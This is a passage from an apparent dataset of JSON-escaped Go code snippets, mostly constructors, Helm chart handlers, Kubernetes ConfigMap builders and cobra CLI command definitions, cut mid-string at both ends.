\"*.tmpl\"))\n\trouter.Use(\n\t\tSetupUserTokenMiddleware(container),\n\t\tSetupSessionMiddleware(container),\n\t)\n\n\treturn &Labeltile{\n\t\tcontainer: container,\n\t\tengine: router,\n\t}\n}", "func newApp(name string) (app *App, err error) {\n\tapp = &App{\n\t\tName: name,\n\t\tID: uuid.NewV5(namespace, \"org.homealone.\"+name).String(),\n\t\thandler: make(map[queue.Topic]message.Handler),\n\t\tdebug: *debug,\n\t\tfilterMessages: true,\n\t}\n\tapp.Log = log.NewLogger().With(log.Fields{\"app\": name, \"id\": app.ID})\n\treturn app, errors.Wrap(err, \"newApp failed\")\n}", "func HelmChart(c *gin.Context) {\n\tlog := logger.WithFields(logrus.Fields{\"tag\": \"HelmChart\"})\n\tlog.Info(\"Get helm chart\")\n\n\tclusterName, ok := GetCommonClusterNameFromRequest(c)\n\tif ok != true {\n\t\treturn\n\t}\n\tlog.Debugf(\"%#v\", c)\n\tchartRepo := c.Param(\"reponame\")\n\tlog.Debugln(\"chartRepo:\", chartRepo)\n\n\tchartName := c.Param(\"name\")\n\tlog.Debugln(\"chartName:\", chartName)\n\n\tchartVersion := c.Param(\"version\")\n\tlog.Debugln(\"version:\", chartVersion)\n\n\tresponse, err := helm.ChartGet(clusterName, chartRepo, chartName, chartVersion)\n\tif err != nil {\n\t\tlog.Error(\"Error during get helm chart information.\", err.Error())\n\t\tc.JSON(http.StatusBadRequest, htype.ErrorResponse{\n\t\t\tCode: http.StatusBadRequest,\n\t\t\tMessage: \"Error during get helm chart information.\",\n\t\t\tError: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\tif response == nil {\n\t\tc.JSON(http.StatusNotFound, htype.ErrorResponse{\n\t\t\tCode: http.StatusNotFound,\n\t\t\tError: \"Chart Not Found!\",\n\t\t\tMessage: \"Chart Not Found!\",\n\t\t})\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, response)\n\treturn\n}", "func New() helmify.Processor {\n\treturn &secret{}\n}", "func newmetric(name string, kind metricKind, tags []string, common bool) *metric {\n\treturn &metric{\n\t\tname: name,\n\t\tkind: kind,\n\t\ttags: append([]string{}, tags...),\n\t\tcommon: common,\n\t}\n}", "func NewMetric(name string, prog string, kind Kind, keys ...string) *Metric {\n\tm := &Metric{Name: name, Program: prog, Kind: kind,\n\t\tKeys: make([]string, len(keys), len(keys)),\n\t\tLabelValues: make([]*LabelValue, 0)}\n\tcopy(m.Keys, keys)\n\treturn m\n}", "func NewRootCmd(globalConfig *config.GlobalOptions) (*cobra.Command, error) {\n\tcmd := &cobra.Command{\n\t\tUse: \"helmfile\",\n\t\tShort: globalUsage,\n\t\tLong: globalUsage,\n\t\tVersion: version.Version(),\n\t\tSilenceUsage: true,\n\t\tSilenceErrors: true,\n\t\tPersistentPreRunE: func(c *cobra.Command, args []string) error {\n\t\t\t// Valid levels:\n\t\t\t// https://github.com/uber-go/zap/blob/7e7e266a8dbce911a49554b945538c5b950196b8/zapcore/level.go#L126\n\t\t\tlogLevel := globalConfig.LogLevel\n\t\t\tswitch {\n\t\t\tcase globalConfig.Debug:\n\t\t\t\tlogLevel = \"debug\"\n\t\t\tcase globalConfig.Quiet:\n\t\t\t\tlogLevel = \"warn\"\n\t\t\t}\n\t\t\tlogger = helmexec.NewLogger(os.Stderr, logLevel)\n\t\t\tglobalConfig.SetLogger(logger)\n\t\t\treturn nil\n\t\t},\n\t}\n\tflags := cmd.PersistentFlags()\n\n\t// Set the global options for the root command.\n\tsetGlobalOptionsForRootCmd(flags, globalConfig)\n\n\tflags.ParseErrorsWhitelist.UnknownFlags = true\n\n\tglobalImpl := config.NewGlobalImpl(globalConfig)\n\n\t// when set environment HELMFILE_UPGRADE_NOTICE_DISABLED any value, skip upgrade notice.\n\tvar versionOpts []extension.CobraOption\n\tif os.Getenv(envvar.UpgradeNoticeDisabled) == \"\" {\n\t\tversionOpts = append(versionOpts, extension.WithUpgradeNotice(\"helmfile\", \"helmfile\"))\n\t}\n\n\tcmd.AddCommand(\n\t\tNewInitCmd(globalImpl),\n\t\tNewApplyCmd(globalImpl),\n\t\tNewBuildCmd(globalImpl),\n\t\tNewCacheCmd(globalImpl),\n\t\tNewDepsCmd(globalImpl),\n\t\tNewDestroyCmd(globalImpl),\n\t\tNewFetchCmd(globalImpl),\n\t\tNewListCmd(globalImpl),\n\t\tNewReposCmd(globalImpl),\n\t\tNewLintCmd(globalImpl),\n\t\tNewWriteValuesCmd(globalImpl),\n\t\tNewTestCmd(globalImpl),\n\t\tNewTemplateCmd(globalImpl),\n\t\tNewSyncCmd(globalImpl),\n\t\tNewDiffCmd(globalImpl),\n\t\tNewStatusCmd(globalImpl),\n\t\textension.NewVersionCobraCmd(\n\t\t\tversionOpts...,\n\t\t),\n\t)\n\n\t// TODO: Remove this function once Helmfile v0.x\n\tif !runtime.V1Mode {\n\t\tcmd.AddCommand(\n\t\t\tNewChartsCmd(globalImpl),\n\t\t\tNewDeleteCmd(globalImpl),\n\t\t)\n\t}\n\n\treturn cmd, nil\n}", "func new_md_file(input_filename string) MD_File {\n\tlanguages := scan_md_languages(input_filename)\n\n\treturn MD_File{\n\t\tinput_filename: input_filename,\n\t\tlanguages: languages,\n\t\toutput_pairs: make([]MD_OutputPair, 0, 2),\n\t}\n}", "func New(apiKey, apiSecret string) *Hbdm {\n\tclient := NewHttpClient(apiKey, apiSecret)\n\treturn &Hbdm{client, sync.Mutex{}}\n}", "func execmTemplateNew(_ int, p *gop.Context) {\n\targs := p.GetArgs(2)\n\tret := args[0].(*template.Template).New(args[1].(string))\n\tp.Ret(2, ret)\n}", "func newHelloService() HelloService {\n\treturn &helloServiceImpl{}\n}", "func (t *Template) GenerateHelmChart() error {\n\tt.Path = fmt.Sprintf(\"%s/templates\", t.ChartName)\n\tif err := os.MkdirAll(t.Path, 0744); err != nil {\n\t\treturn err\n\t}\n\n\tfiles := defaults\n\tif t.Repo != \"\" {\n\t\trepo, err := NewRepo(\"gcs\", \"test\", \"repo\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfiles, err = repo.GetFiles()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t}\n\n\tfor fileName, fileValue := range files {\n\t\tfilePath := fmt.Sprintf(\"%s/%s\", t.ChartName, fileName)\n\t\tf, err := os.Create(filePath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer f.Close()\n\t\tif _, err := f.WriteString(fileValue); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tf.Close()\n\t}\n\n\tmetadataFile, err := os.Create(fmt.Sprintf(\"%s/Chart.yaml\", t.ChartName))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tmetadata, err := t.GenerateMetadata()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif _, err := metadataFile.WriteString(metadata); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (in *HelmSpec) DeepCopy() *HelmSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(HelmSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "func (h *MovieHandler) new(w http.ResponseWriter, r *http.Request) {\n\t// Render a HTML response and set status code.\n\trender.HTML(w, http.StatusOK, \"movie/new.html\", nil)\n}", "func newHelloController(helloService HelloService) *helloController {\n\treturn &helloController{\n\t\thelloService: helloService,\n\t}\n}", "func (c *Controller) renderNew(ctx context.Context, w http.ResponseWriter, app *database.MobileApp) {\n\tm := templateMap(ctx)\n\tm.Title(\"New mobile app\")\n\tm[\"app\"] = app\n\tc.h.RenderHTML(w, \"mobileapps/new\", m)\n}", "func NewModule(moduleType string) *app.Command {\n\tdesc := fmt.Sprintf(\"Create a %s module.\", moduleType)\n\tcmd := app.NewCommand(moduleType, desc, func(ctx *app.Context) error {\n\t\targs := &struct {\n\t\t\tGroup string `option:\"group\"`\n\t\t\tArtifact string `option:\"artifact\"`\n\t\t\tPackage string `option:\"package\"`\n\t\t}{}\n\t\tif err := config.Unmarshal(args); err != nil {\n\t\t\treturn app.Fatal(1, err)\n\t\t}\n\n\t\twd, err := os.Getwd()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"acquire work directory failed: %v\", err)\n\t\t}\n\n\t\t// load parent pom\n\t\tp, err := pom.NewPom(filepath.Join(wd, \"pom.xml\"))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// check args\n\t\tvar name string\n\t\tif len(ctx.Args()) == 0 {\n\t\t\tif p == nil {\n\t\t\t\treturn fmt.Errorf(\"module name is missing\")\n\t\t\t}\n\t\t\tname = fmt.Sprintf(\"%v-%v\", p.GetArtifactID(), moduleType)\n\t\t} else {\n\t\t\tname = ctx.Args()[0]\n\t\t}\n\n\t\t// build template data\n\t\tif args.Group == \"\" && p != nil {\n\t\t\targs.Group = p.GetGroupID()\n\t\t}\n\t\tif args.Group == \"\" {\n\t\t\treturn fmt.Errorf(\"group arg is missing\")\n\t\t}\n\t\tif args.Artifact == \"\" {\n\t\t\targs.Artifact = name\n\t\t}\n\t\tif args.Package == \"\" {\n\t\t\targs.Package = args.Group + \".\" + strings.Replace(args.Artifact, \"-\", \".\", -1)\n\t\t}\n\t\tdata := map[string]string{\n\t\t\t\"Type\": moduleType,\n\t\t\t\"GroupID\": args.Group,\n\t\t\t\"ArtifactID\": args.Artifact,\n\t\t\t\"Package\": args.Package,\n\t\t}\n\n\t\t// check dir exist\n\t\tmoduleDir := filepath.Join(wd, name)\n\t\t_, err = os.Stat(moduleDir)\n\t\tif err == nil {\n\t\t\treturn fmt.Errorf(\"directory already exist: %v\", moduleDir)\n\t\t}\n\n\t\t// create empty dirs\n\t\tvar dirs []string\n\t\tif moduleType == \"web\" {\n\t\t\tdirs = append(dirs, filepath.Join(wd, name, \"src\", \"main\", \"resources\", \"view\"))\n\t\t\tdirs = append(dirs, filepath.Join(wd, name, \"src\", \"main\", \"resources\", \"static\", \"js\"))\n\t\t\tdirs = append(dirs, filepath.Join(wd, name, \"src\", \"main\", \"resources\", \"static\", \"css\"))\n\t\t}\n\t\tdirs = append(dirs, filepath.Join(wd, name, \"src\", \"test\", \"java\"))\n\t\tfile.CreateDir(dirs...)\n\n\t\tfp := func(name string) string {\n\t\t\treturn fmt.Sprintf(\"modules/%s/%s\", moduleType, name)\n\t\t}\n\n\t\t// create files\n\t\tfiles := make(map[string]string)\n\t\tfiles[filepath.Join(moduleDir, \"pom.xml\")] = fp(\"pom.xml\")\n\t\tfiles[filepath.Join(moduleDir, \"src\", \"main\", \"resources\", \"application.yml\")] = fp(\"application.yml\")\n\t\tfiles[file.NewPath(moduleDir, \"src\", \"main\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"Bootstrap.java\").String()] = fp(\"Bootstrap.java\")\n\t\tswitch moduleType {\n\t\tcase \"service\":\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"main\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"dao\", \"TestDao.java\").String()] = fp(\"TestDao.java\")\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"main\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"biz\", \"TestBiz.java\").String()] = fp(\"TestBiz.java\")\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"main\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"entity\", \"TestObject.java\").String()] = fp(\"TestObject.java\")\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"main\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"impl\", \"TestServiceImpl.java\").String()] = fp(\"TestServiceImpl.java\")\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"test\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"TestServiceTests.java\").String()] = fp(\"TestServiceTests.java\")\n\t\tcase \"msg\":\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"main\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"handler\", \"TestHandler.java\").String()] = fp(\"TestHandler.java\")\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"test\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"handler\", \"TestHandlerTests.java\").String()] = fp(\"TestHandlerTests.java\")\n\t\tcase \"task\":\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"main\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"executor\", \"TestExecutor.java\").String()] = fp(\"TestExecutor.java\")\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"test\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"executor\", \"TestExecutorTests.java\").String()] = fp(\"TestExecutorTests.java\")\n\t\tcase \"web\":\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"main\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"controller\", \"TestController.java\").String()] = fp(\"TestController.java\")\n\t\t\tfiles[file.NewPath(moduleDir, \"src\", \"test\", \"java\").Join(strings.Split(args.Package, \".\")...).Join(\"executor\", \"TestControllerTests.java\").String()] = fp(\"TestControllerTests.java\")\n\t\t}\n\t\tif err = tpl.Execute(files, data); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// modify files\n\t\tif p != nil {\n\t\t\tp.AddModule(args.Artifact)\n\t\t}\n\n\t\tfmt.Println(\"finished.\")\n\t\treturn nil\n\t})\n\tcmd.Flags.Register(flag.Help)\n\tcmd.Flags.String(\"group\", \"g\", \"\", \"group id\")\n\tcmd.Flags.String(\"artifact\", \"a\", \"\", \"artifact id\")\n\tcmd.Flags.String(\"package\", \"p\", \"\", \"package\")\n\treturn cmd\n}", "func New(cfg Config) (*Loki, error) {\n\tloki := &Loki{\n\t\tcfg: cfg,\n\t}\n\n\tloki.setupAuthMiddleware()\n\tstorage.RegisterCustomIndexClients(cfg.StorageConfig, prometheus.DefaultRegisterer)\n\n\tserviceMap, err := loki.initModuleServices(cfg.Target)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tloki.serviceMap = serviceMap\n\tloki.server.HTTP.Handle(\"/services\", http.HandlerFunc(loki.servicesHandler))\n\n\treturn loki, nil\n}", "func NewModuleCreate(m map[string]interface{}) (*ModuleCreate, error) {\n\tol := newOptionLoader(m)\n\n\tmc := &ModuleCreate{\n\t\tapp: ol.LoadApp(),\n\t\tmodule: ol.LoadString(OptionModule),\n\n\t\tcm: component.DefaultManager,\n\t}\n\n\treturn mc, nil\n}", "func newCreateCmd() *cobra.Command {\n\tcreateCmd := cobra.Command{\n\t\tUse: \"create\",\n\t\tShort: `Create a new verless object`,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\treturn cmd.Help()\n\t\t},\n\t}\n\n\tcreateCmd.AddCommand(newCreateProjectCmd())\n\tcreateCmd.AddCommand(newCreateThemeCmd())\n\tcreateCmd.AddCommand(newCreateFile())\n\n\treturn &createCmd\n}", "func newConfigMap(configMapName, namespace string, labels map[string]string,\n\tkibanaIndexMode, esUnicastHost, rootLogger, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount string) *v1.ConfigMap {\n\n\terr, data := renderData(kibanaIndexMode, esUnicastHost, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount, rootLogger)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn &v1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"ConfigMap\",\n\t\t\tAPIVersion: v1.SchemeGroupVersion.String(),\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: configMapName,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: data,\n\t}\n}", "func New(payload []byte, channel string) *watermillmessage.Message {\n\tmsg := watermillmessage.NewMessage(watermill.NewUUID(), payload)\n\tmsg.Metadata.Set(MetadataChannel, channel)\n\n\treturn msg\n}", "func newHiveDeployment(cr *v1alpha1.Hive) *appsv1.Deployment {\n\tlabels := map[string]string{\n\t\t\"app\": \"hive-operator\",\n\t}\n\treplicas := cr.Spec.Size\n\t//deployment present in apps/v1 not corev1\n\t//need metav1 for including the TypeMeta, ObjectMeta\n\treturn &appsv1.Deployment{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"Deployment\",\n\t\t\tAPIVersion: \"apps/v1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: \"hive-deployment\",\n\t\t\tNamespace: cr.Namespace,\n\t\t\tOwnerReferences: []metav1.OwnerReference{\n\t\t\t\t*metav1.NewControllerRef(cr, schema.GroupVersionKind{\n\t\t\t\t\tGroup: v1alpha1.SchemeGroupVersion.Group,\n\t\t\t\t\tVersion: v1alpha1.SchemeGroupVersion.Version,\n\t\t\t\t\tKind: \"Hive\",\n\t\t\t\t}),\n\t\t\t},\n\t\t\tLabels: labels,\n\t\t},\n\t\tSpec: appsv1.DeploymentSpec{\n\t\t\tReplicas: &replicas,\n\t\t\tSelector: &metav1.LabelSelector{\n\t\t\t\tMatchLabels: labels,\n\t\t\t},\n\t\t\tTemplate: corev1.PodTemplateSpec{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tLabels: labels,\n\t\t\t\t},\n\t\t\t\tSpec: corev1.PodSpec{\n\t\t\t\t\tContainers: []corev1.Container{{\n\t\t\t\t\t\tImage: \"luksa/kubia:v2\",\n\t\t\t\t\t\tName: \"hive-operator\",\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}", "func NewTemplate(name string, platforms []string, path, format string, parentUI *ui.UI, envConfig map[string]string) (*Kluster, error) {\n\tif len(format) == 0 {\n\t\tformat = DefaultFormat\n\t}\n\tif !validFormat(format) {\n\t\treturn nil, fmt.Errorf(\"invalid format %q for the kubernetes cluster config file\", format)\n\t}\n\tpath = filepath.Join(path, name+\".\"+format)\n\n\tnewUI := parentUI.Copy()\n\n\tcluster := Kluster{\n\t\tVersion: Version,\n\t\tKind: \"template\",\n\t\tName: name,\n\t\tpath: path,\n\t\tui: newUI,\n\t}\n\n\tif _, err := os.Stat(path); os.IsExist(err) {\n\t\treturn nil, fmt.Errorf(\"the template file %q already exists\", path)\n\t}\n\n\tallPlatforms := provisioner.SupportedPlatforms(name, envConfig, newUI, Version)\n\n\tif len(platforms) == 0 {\n\t\tfor k := range allPlatforms {\n\t\t\tplatforms = append(platforms, k)\n\t\t}\n\t}\n\n\tcluster.Platforms = make(map[string]interface{}, len(platforms))\n\n\tfor _, pName := range platforms {\n\t\tplatform, ok := allPlatforms[pName]\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"platform %q is not supported\", pName)\n\t\t}\n\t\tcluster.Platforms[pName] = platform.Config()\n\t}\n\n\tvar err error\n\tcluster.Config, err = configurator.DefaultConfig(envConfig)\n\tcluster.Resources = resources.DefaultResourcesFor()\n\n\treturn &cluster, err\n}", "func NewLaptop() *pb.Laptop {\r\n\tbrand := randomLaptopBrand()\r\n\tname := randomLaptopName(brand)\r\n\r\n\tlaptop := &pb.Laptop{\r\n\t\tId: randomID(),\r\n\t\tBrand: brand,\r\n\t\tName: name,\r\n\t\tCpu: NewCpu(),\r\n\t\tRam: NewRAM(),\r\n\t\tGpus: []*pb.GPU{NewGPU()},\r\n\t\tStorages: []*pb.Storage{NewSSD(), NewHDD()},\r\n\t\tScreen: NewScreen(),\r\n\t\tKeyboard: NewKeyboard(),\r\n\t\tWeight: &pb.Laptop_WeightKg{\r\n\t\t\tWeightKg: randomFloat64(1.0, 3.0),\r\n\t\t},\r\n\t\tPriceUsd: randomFloat64(1500, 3500),\r\n\t\tReleaseYear: uint32(randomInt(2015, 2019)),\r\n\t\tUpdatedAt: ptypes.TimestampNow(),\r\n\t}\r\n\r\n\treturn laptop\r\n}", "func NewCommands(\n\tfs afero.Afero,\n\tlogger log.Logger,\n) Commands {\n\treturn &helmCommands{\n\t\tlogger: logger,\n\t\tfs: fs,\n\t}\n}", "func NewCmd(o *Options) *cobra.Command {\n\tc := command{\n\t\tCommand: cli.Command{Options: o.Options},\n\t\topts: o,\n\t}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"new-lambda\",\n\t\tShort: \"New local Lambda Function\",\n\t\tLong: `Creates a new local lambda function setup to start development`,\n\t\tRunE: func(_ *cobra.Command, args []string) error { return c.Run(args) },\n\t}\n\n\tcmd.Args = cobra.ExactArgs(1)\n\n\tcmd.Flags().StringVarP(&o.Namespace, \"namespace\", \"n\", \"default\", \"Namespace to bind\")\n\tcmd.Flags().BoolVar(&o.Expose, \"expose\", false, \"Create the namespace if not existing\")\n\tcmd.Flags().StringVar(&o.ClusterDomain, \"cluster-domain\", \"\", \"Cluster Domain of your cluster\")\n\n\treturn cmd\n}", "func NewCmd(o *Options) *cobra.Command {\n\tc := command{\n\t\tCommand: cli.Command{Options: o.Options},\n\t\topts: o,\n\t}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"module [kyma] [flags]\",\n\t\tShort: \"Lists all modules available for creation in the cluster or in the given Kyma resource\",\n\t\tLong: `Use this command to list Kyma modules available in the cluster.\n\n### Detailed description\n\nFor more information on Kyma modules, see the 'create module' command.\n\nThis command lists all available modules in the cluster. \nA module is available when a ModuleTemplate is found for instantiating it with proper defaults.\n\nOptionally, you can manually add a release channel to filter available modules only for the given channel.\n\nAlso, you can specify a Kyma to look up only the active modules within that Kyma instance. If this is specified,\nthe ModuleTemplates will also have a Field called **State** which will reflect the actual state of the module.\n\nFinally, you can restrict and select a custom Namespace for the command.\n`,\n\n\t\tExample: `\nList all modules\n\t\tkyma alpha list module\nList all modules in the \"regular\" channel\n\t\tkyma alpha list module --channel regular\nList all modules for the kyma \"some-kyma\" in the namespace \"custom\" in the \"alpha\" channel\n\t\tkyma alpha list module -k some-kyma -c alpha -n custom\nList all modules for the kyma \"some-kyma\" in the \"alpha\" channel\n\t\tkyma alpha list module -k some-kyma -c alpha\n`,\n\t\tRunE: func(cmd *cobra.Command, args []string) error { return c.Run(cmd.Context(), args) },\n\t\tAliases: []string{\"mod\", \"mods\", \"modules\"},\n\t}\n\n\tcmd.Flags().StringVarP(&o.Channel, \"channel\", \"c\", \"\", \"Channel to use for the module template.\")\n\tcmd.Flags().DurationVarP(\n\t\t&o.Timeout, \"timeout\", \"t\", 1*time.Minute, \"Maximum time for the list operation to retrieve ModuleTemplates.\",\n\t)\n\tcmd.Flags().StringVarP(\n\t\t&o.KymaName, \"kyma-name\", \"k\", \"\",\n\t\t\"Kyma resource to use.\",\n\t)\n\tcmd.Flags().StringVarP(\n\t\t&o.Namespace, \"namespace\", \"n\", cli.KymaNamespaceDefault,\n\t\t\"The Namespace to list the modules in.\",\n\t)\n\tcmd.Flags().BoolVarP(\n\t\t&o.AllNamespaces, \"all-namespaces\", \"A\", false,\n\t\t\"If present, list the requested object(s) across all namespaces. Namespace in current context is ignored even if specified with --namespace\",\n\t)\n\tcmd.Flags().BoolVar(\n\t\t&o.NoHeaders, \"no-headers\", false,\n\t\t\"When using the default output format, don't print headers. (default print headers)\",\n\t)\n\n\tcmd.Flags().StringVarP(\n\t\t&o.Output, \"output\", \"o\", \"go-template-file\",\n\t\t\"Output format. One of: (json, yaml). By default uses an in-built template file. It is currently impossible to add your own template file.\",\n\t)\n\n\treturn cmd\n}", "func newPage(pattern string, tmpls []string, getData getDataFn) *page {\n\treturn &page{\n\t\tpattern,\n\t\tgetTemplate(tmpls),\n\t\tgetData,\n\t}\n}", "func NewConfigMap(namespace, cmName, originalFilename string, generatedKey string,\n\ttextData string, binaryData []byte) *corev1.ConfigMap {\n\timmutable := true\n\tcm := corev1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"ConfigMap\",\n\t\t\tAPIVersion: \"v1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: cmName,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: map[string]string{\n\t\t\t\tConfigMapOriginalFileNameLabel: originalFilename,\n\t\t\t\tConfigMapAutogenLabel: \"true\",\n\t\t\t},\n\t\t},\n\t\tImmutable: &immutable,\n\t}\n\tif textData != \"\" {\n\t\tcm.Data = map[string]string{\n\t\t\tgeneratedKey: textData,\n\t\t}\n\t}\n\tif binaryData != nil {\n\t\tcm.BinaryData = map[string][]byte{\n\t\t\tgeneratedKey: binaryData,\n\t\t}\n\t}\n\treturn &cm\n}", "func New() *Meta {\n\treturn &Meta{}\n}", "func New() *Meta {\n\treturn &Meta{}\n}", "func NewHpcCluster(ctx *pulumi.Context,\n\tname string, args *HpcClusterArgs, opts ...pulumi.ResourceOption) (*HpcCluster, error) {\n\tif args == nil {\n\t\targs = &HpcClusterArgs{}\n\t}\n\n\topts = internal.PkgResourceDefaultOpts(opts)\n\tvar resource HpcCluster\n\terr := ctx.RegisterResource(\"alicloud:ecs/hpcCluster:HpcCluster\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "func NewBareMetalAdminCluster(ctx *pulumi.Context,\n\tname string, args *BareMetalAdminClusterArgs, opts ...pulumi.ResourceOption) (*BareMetalAdminCluster, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.BareMetalAdminClusterId == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'BareMetalAdminClusterId'\")\n\t}\n\treplaceOnChanges := pulumi.ReplaceOnChanges([]string{\n\t\t\"bareMetalAdminClusterId\",\n\t\t\"location\",\n\t\t\"project\",\n\t})\n\topts = append(opts, replaceOnChanges)\n\topts = internal.PkgResourceDefaultOpts(opts)\n\tvar resource BareMetalAdminCluster\n\terr := ctx.RegisterResource(\"google-native:gkeonprem/v1:BareMetalAdminCluster\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "func helmHandler(rw http.ResponseWriter, req *http.Request) {\n\turl := req.URL.String()\n\tswitch url {\n\tcase \"/\":\n\t\tfmt.Fprint(rw, \"zeitgeist testing server\")\n\tcase \"/index.yaml\":\n\t\tindex, err := os.ReadFile(\"../testdata/helm-repo/index.yaml\")\n\t\tif err != nil {\n\t\t\tpanic(\"Cannot open helm repo test file\")\n\t\t}\n\t\tfmt.Fprint(rw, string(index))\n\tcase \"/broken-repo/index.yaml\":\n\t\tfmt.Fprint(rw, \"bad yaml here } !\")\n\tdefault:\n\t\trw.WriteHeader(http.StatusNotFound)\n\t}\n}", "func HelmReposAdd(c *gin.Context) {\n\tlog := logger.WithFields(logrus.Fields{\"tag\": \"HelmReposAdd\"})\n\tlog.Info(\"Add helm repository\")\n\n\tclusterName, ok := GetCommonClusterNameFromRequest(c)\n\tif ok != true {\n\t\treturn\n\t}\n\n\tvar repo *repo.Entry\n\terr := c.BindJSON(&repo)\n\tif err != nil {\n\t\tlog.Errorf(\"Error parsing request: %s\", err.Error())\n\t\tc.JSON(http.StatusBadRequest, htype.ErrorResponse{\n\t\t\tCode: http.StatusBadRequest,\n\t\t\tMessage: \"Error parsing request\",\n\t\t\tError: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\terr = helm.ReposAdd(clusterName, repo)\n\tif err != nil {\n\t\tlog.Error(\"Error adding helm repo\", err.Error())\n\t\tc.JSON(http.StatusBadRequest, htype.ErrorResponse{\n\t\t\tCode: http.StatusBadRequest,\n\t\t\tMessage: \"Error adding helm repo\",\n\t\t\tError: err.Error(),\n\t\t})\n\t\treturn\n\t}\n\tc.JSON(http.StatusOK, htype.StatusResponse{\n\t\tStatus: http.StatusOK,\n\t\tMessage: \"resource successfully added.\",\n\t\tName: repo.Name})\n\treturn\n}", "func (c *Controller) newClusterHelmRequestHandler(name string) cache.ResourceEventHandler {\n\tupdateFunc := func(old, new interface{}) {\n\t\toldHR := old.(*alpha1.HelmRequest)\n\t\tnewHR := new.(*alpha1.HelmRequest)\n\t\t// this is a bit of tricky\n\t\t// 1. old and new -> 1 cluster => check version and spec\n\t\t// 2. old and new -> N cluster => no check\n\t\t// 3. old 1 / new N => spec and version changed\n\t\t// 4. old N / new 1 => spec and version changed\n\n\t\tif oldHR.Spec.InstallToAllClusters && newHR.Spec.InstallToAllClusters {\n\t\t\tc.enqueueClusterHelmRequest(new, name)\n\t\t} else {\n\n\t\t\tif newHR.DeletionTimestamp != nil {\n\t\t\t\tklog.V(4).Infof(\"get an helmrequest with deletiontimestap: %s\", newHR.Name)\n\t\t\t\tc.enqueueClusterHelmRequest(new, name)\n\t\t\t}\n\n\t\t\tif newHR.Status.Phase == alpha1.HelmRequestPending {\n\t\t\t\tklog.V(4).Infof(\"\")\n\t\t\t}\n\n\t\t\tif oldHR.ResourceVersion == newHR.ResourceVersion {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif reflect.DeepEqual(oldHR.Spec, newHR.Spec) {\n\t\t\t\tklog.V(4).Infof(\"spec equal, not update: %s\", newHR.Name)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tklog.V(4).Infof(\"old hr: %+v, new hr: %+v\", oldHR.Spec, newHR.Spec)\n\t\t\tc.enqueueClusterHelmRequest(new, name)\n\t\t}\n\t}\n\n\taddFunc := func(obj interface{}) {\n\t\tklog.Infof(\"receive hr create event: %+v\", obj)\n\t\tc.enqueueClusterHelmRequest(obj, name)\n\t}\n\n\tdeleteFunc := func(obj interface{}) {\n\t\tc.deleteClusterHelmRequestHandler(obj, name)\n\t}\n\n\tfuncs := cache.ResourceEventHandlerFuncs{\n\t\tAddFunc: addFunc,\n\t\tUpdateFunc: updateFunc,\n\t\tDeleteFunc: deleteFunc,\n\t}\n\n\treturn funcs\n}", "func helmRepoAdd(repoName, 